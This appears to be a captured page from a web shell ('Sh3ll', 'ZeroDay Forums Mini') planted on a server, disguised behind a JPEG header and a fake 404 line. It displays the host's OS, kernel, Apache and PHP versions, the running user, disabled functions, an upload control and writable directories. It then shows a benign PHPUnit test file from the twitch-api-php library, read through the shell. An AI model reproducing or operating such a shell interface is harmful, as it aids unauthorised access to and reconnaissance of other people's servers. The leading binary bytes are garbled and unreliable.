����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/123vid/vendor/nicklaw5/twitch-api-php/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/123vid/vendor/nicklaw5/twitch-api-php/test/TwitchApiTest.php
<?php

use PHPUnit\Framework\TestCase;
use TwitchApi\TwitchApi;
use TwitchApi\Exceptions\ClientIdRequiredException;
use TwitchApi\Exceptions\UnsupportedApiVersionException;

class TwitchApiTest extends TestCase
{
    public function testCanCreateClassWithMinimumOptions()
    {
        $twitchApi = new TwitchApi(['client_id' => 'CLIENT-ID']);
        $this->assertInstanceOf(TwitchApi::class, $twitchApi);

        return $twitchApi;
    }

    /**
     * @depends testCanCreateClassWithMinimumOptions
     */
    public function testCanSetClientId(TwitchApi $twitchApi)
    {
        $options = [
            'client_id' => 'TEST_CLIENT_ID',
        ];
        $twitchApi->setClientId($options['client_id']);
        $this->assertEquals($twitchApi->getClientId(), $options['client_id']);
    }

    public function testCreateClassWithoutClientIdThrowsException()
    {
        $this->expectException(ClientIdRequiredException::class);
        $twitchApi = new TwitchApi([]);
    }

    public function testDefaultClassProperties()
    {
        $twitchApi = new TwitchApi(['client_id' => 'CLIENT-ID']);
        $this->assertEmpty($twitchApi->getScope());
        $this->assertNotEmpty($twitchApi->getClientId());
        $this->assertEmpty($twitchApi->getRedirectUri());
        $this->assertEmpty($twitchApi->getClientSecret());
        $this->assertEquals($twitchApi->getApiVersion(), $twitchApi->getDefaultApiVersion());
    }

    public function testCanCreateClassWithValidOptions()
    {
        $options = [
            'client_id' => 'CLIENT_ID',
            'client_secret' => 'CLIENT_SECRET',
            'redirect_uri' => 'REDIRECT_URI',
            'api_version' => 3,
            'scope' => ['user_read'],
        ];
        $twitchApi = new TwitchApi($options);
        $this->assertEquals($twitchApi->getClientId(), $options['client_id']);
        $this->assertEquals($twitchApi->getClientSecret(), $options['client_secret']);
        $this->assertEquals($twitchApi->getRedirectUri(), $options['redirect_uri']);
        $this->assertEquals($twitchApi->getApiVersion(), $options['api_version']);
        $this->assertEquals($twitchApi->getScope(), $options['scope']);
    }

    /**
     * @depends testCanCreateClassWithMinimumOptions
     */
    public function testApiVersionDefaultsTo5IfNotSpecificallySet(TwitchApi $twitchApi)
    {
        $this->assertEquals($twitchApi->getApiVersion(), 5);
    }

    public function testExceptionIsThrownIfApiVersionISNotSupported()
    {
        $this->expectException(UnsupportedApiVersionException::class);
        $options = [
            'client_id' => 'CLIENT_ID',
            'api_version' => 99,
        ];
        $twitchApi = new TwitchApi($options);
        $this->assertEquals($twitchApi->getApiVersion(), 5);
    }
}

ZeroDay Forums Mini